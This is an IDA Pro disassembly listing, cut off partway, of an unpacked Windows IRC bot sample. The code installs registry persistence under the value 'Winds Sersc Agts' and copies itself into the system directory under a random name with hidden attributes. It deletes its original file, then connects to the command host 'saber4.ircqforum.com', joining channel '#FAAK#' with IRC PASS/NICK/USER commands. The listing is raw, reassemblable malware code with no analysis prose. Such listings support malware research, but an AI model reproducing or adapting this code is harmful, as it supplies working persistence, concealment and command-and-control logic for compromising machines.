;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0C6434A1CEE3EF1C6D658602BA25F876

; File Name   :	u:\work\0c6434a1cee3ef1c6d658602ba25f876_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00025E84 ( 155268.)
; Section size in file		: 00025E84 ( 155268.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401000(char *Str)

sub_401000	proc near		; CODE XREF: WinMain(x,x,x,x)+358p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindsSerscAgts ; "Winds Sersc Agts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB608	; RegCreateKeyExA
		cmp	[ebp+Str], esi
		jz	short loc_40104D
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB678	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5B8	; RegDeleteValueA


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB630	; RegCloseKey
		add	edi, 8
		cmp	edi, offset aRb	; "rb"
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4010AB(char *Filename)

sub_4010AB	proc near		; CODE XREF: sub_4163FA+24Ap

var_10		= dword	ptr -10h
Filename	= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx		; Mode
		call	_malloc
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+Filename] ; Filename
		mov	esi, eax
		call	_fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx		; Size
		push	esi		; Src
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi		; File
		push	1		; Count
		lea	eax, [esi+ebx-1]
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi		; File
		call	_fclose
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: WinMain(x,x,x,x)+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
Dst		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E59C
		call	dword_4CB6EC	; closesocket
		call	sub_40B2C0
		call	dword_4CB5AC	; WSACleanup
		call	dword_4CB5AC	; WSACleanup
		mov	ebx, ds:dword_427078
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi		; Size
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43D808
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_42706C	; CreateProcessA
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_427068
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D800
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_427064	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: .data:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB390, eax
		pop	ecx
		retn
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
Filename	= byte ptr -6F4h
Str		= byte ptr -5F4h
Ext		= byte ptr -4F0h
SubStr		= byte ptr -3F0h
FullPath	= byte ptr -2ECh
Dest		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
Source		= byte ptr -0A0h
Dst		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111D
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_4270A8
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB394, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB700	; SetErrorMode
		push	7530h
		push	offset aQsfposs	; "qsfposs"
		push	ebx
		push	ebx
		call	ds:dword_4270A4	; CreateMutexA
		push	eax
		call	ds:dword_4270A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	ds:dword_427064	; ExitProcess


loc_4012A1:				; CODE XREF: WinMain(x,x,x,x)+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4CB5C4	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	[ebp+var_884], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		call	ds:dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+FullPath]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_42709C	; GetModuleHandleA
		push	eax
		call	ds:dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+Ext]
		push	eax		; Ext
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+FullPath]
		push	ebx		; Drive
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h
		lea	eax, [ebp+Ext]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+FullPath]
		push	eax		; Str
		call	_strstr
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset Str	; "nvigqyvja.exe"
		jz	short loc_40139C
		push	esi		; Str
		xor	edi, edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: WinMain(x,x,x,x)+179j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi		; Str
		add	dl, 61h
		mov	byte ptr Str[edi], dl ;	"nvigqyvja.exe"
		inc	edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: WinMain(x,x,x,x)+148j
					; WinMain(x,x,x,x)+156j
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		lea	eax, [ebp+Dest]
		push	offset Format	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp+Dest]
		push	80h
		push	eax
		call	ds:dword_427094	; SetFileAttributesA


loc_4013DC:				; CODE XREF: WinMain(x,x,x,x)+1A7j
		mov	esi, ds:dword_427090
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: WinMain(x,x,x,x)+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40142C
		call	ds:dword_42708C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: WinMain(x,x,x,x)+1E5j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_427078	; Sleep
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: WinMain(x,x,x,x)+1D6j
					; WinMain(x,x,x,x)+1E0j ...
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp+Dest]
		push	7
		push	eax
		call	ds:dword_427094	; SetFileAttributesA
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset byte_43D808
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	ds:dword_427088	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_427084	; OpenProcess
		lea	ecx, [ebp+FullPath]
		push	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+SubStr]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_42706C	; CreateProcessA
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	ds:dword_427078	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_427068
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4CB5AC	; WSACleanup
		push	ebx
		call	ds:dword_427064	; ExitProcess


loc_401516:				; CODE XREF: WinMain(x,x,x,x)+137j
					; WinMain(x,x,x,x)+2CBj
		cmp	dword_4DB974, 2
		jle	short loc_401562
		mov	eax, dword_4DB978
		push	dword ptr [eax+4] ; Str
		call	_atoi
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_4270A0	; WaitForSingleObject
		push	esi
		call	ds:dword_427068	; CloseHandle
		mov	eax, dword_4DB978
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	ds:dword_427078	; Sleep
		mov	eax, dword_4DB978
		push	dword ptr [eax+8]
		call	ds:dword_427080	; DeleteFileA


loc_401562:				; CODE XREF: WinMain(x,x,x,x)+2FCj
					; WinMain(x,x,x,x)+326j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB724, ebx
		jnz	short loc_40157F
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: WinMain(x,x,x,x)+347j
					; WinMain(x,x,x,x)+34Fj
		lea	eax, [ebp+Source]
		push	offset asc_429A9C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	ebx		; int
		push	eax		; Source
		call	sub_40B0F7
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		push	0B80h		; Size
		push	ebx		; Val
		push	offset dword_43D810 ; Dst
		call	_memset
		add	esp, 24h
		lea	eax, [ebp+Source]
		push	offset asc_429A78 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	1		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, ds:dword_42707C
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_419A01
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_401622
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_429A38 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_401622:				; CODE XREF: WinMain(x,x,x,x)+3E4j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp+Source]
		push	offset asc_429A0C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	2		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4101FD
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_40169A
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4299D8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40169A:				; CODE XREF: WinMain(x,x,x,x)+45Cj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: WinMain(x,x,x,x)+418j
		call	_rand
		push	7Fh		; Count
		and	eax, 3
		push	offset Source	; "saber4.ircqforum.com"
		push	offset Dest	; Dest
		mov	dword_4CB508, eax
		call	_strncpy
		mov	eax, dword_42906C
		push	3Fh		; Count
		mov	edi, offset byte_4CB41C
		push	offset aFaak	; "#FAAK#"
		push	edi		; Dest
		mov	dword_4CB4EC, eax
		call	_strncpy
		push	3Fh		; Count
		mov	esi, offset byte_4CB45C
		push	offset aSaad_	; "saad."
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	dword_4CB4F0, ebx


loc_4016FC:				; CODE XREF: WinMain(x,x,x,x)+563j
					; WinMain(x,x,x,x)+56Ej ...
		mov	[ebp+var_4], ebx


loc_4016FF:				; CODE XREF: WinMain(x,x,x,x)+517j
		push	offset dword_4CB398
		mov	dword_4CB504, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4017D9
		cmp	dword_4CB504, ebx
		jz	short loc_401726
		dec	[ebp+var_4]


loc_401726:				; CODE XREF: WinMain(x,x,x,x)+500j
		push	0BB8h
		call	ds:dword_427078	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016FF
		cmp	[ebp+var_10], 2
		jz	loc_4017D9
		cmp	[ebp+var_C], ebx
		jz	short loc_401789
		push	7Fh		; Count
		push	offset Source	; "saber4.ircqforum.com"
		push	offset Dest	; Dest
		call	_strncpy
		mov	eax, dword_42906C
		push	3Fh		; Count
		push	offset aFaak	; "#FAAK#"
		push	edi		; Dest
		mov	dword_4CB4EC, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aSaad_	; "saad."
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: WinMain(x,x,x,x)+526j
		cmp	byte_4290E8, bl
		jz	loc_4016FC
		push	7Fh		; Count
		push	offset byte_4290E8 ; Source
		push	offset Dest	; Dest
		call	_strncpy
		mov	eax, dword_429070
		push	3Fh		; Count
		push	offset aFaak_0	; "#FAAK#"
		push	edi		; Dest
		mov	dword_4CB4EC, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aSaad__0	; "saad."
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: WinMain(x,x,x,x)+4F4j
					; WinMain(x,x,x,x)+51Dj
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: WinMain(x,x,x,x)+A1j
					; WinMain(x,x,x,x)+B1j
		call	dword_4CB5AC	; WSACleanup


loc_4017E4:				; CODE XREF: WinMain(x,x,x,x)+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: WinMain(x,x,x,x)+4E9p
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
Args		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dest		= byte ptr -2Ch
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_4CB654	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+Args]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch		; Size
		lea	eax, [ebp+Dest]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	0		; Str1
		lea	eax, [ebp+Dest]
		push	dword_4290A0	; int
		push	dword_42909C	; int
		push	eax		; Dest
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh		; Count
		add	eax, offset byte_43E5A8
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6D4	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4CB5FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6EC	; closesocket
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	ds:dword_427078	; Sleep
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_429AD4 ; "-"
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+Args]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6EC	; closesocket
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

Dst		= byte ptr -1A90h
var_A90		= dword	ptr -0A90h
var_2C0		= dword	ptr -2C0h
var_140		= dword	ptr -140h
Str		= byte ptr -0A0h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB500, bl
		jz	short loc_40199A
		push	offset byte_4CB500 ; Args
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]	; int
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+Source]
		lea	eax, [ebp+Dest]
		push	ebx		; Str1
		push	ebx		; int
		push	2		; int
		push	eax		; Dest
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+Source]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6EC	; closesocket
		push	1388h
		call	ds:dword_427078	; Sleep


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C	; recv
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax		; int
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]	; int
		lea	eax, [ebp+var_8]
		push	esi		; File
		push	eax		; int
		lea	eax, [ebp+var_140]
		push	eax		; int
		lea	eax, [ebp+var_2C0]
		push	eax		; int
		push	[ebp+arg_18]	; int
		push	[ebp+Source]	; Source
		push	[ebp+arg_8]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+arg_0]	; int
		push	dword ptr [edi]	; Src
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	ds:dword_427078	; Sleep
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401ACD(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int)

sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D98	= dword	ptr -5D98h
var_5D88	= dword	ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
Dest		= byte ptr -50F4h
FullPath	= byte ptr -4FF4h
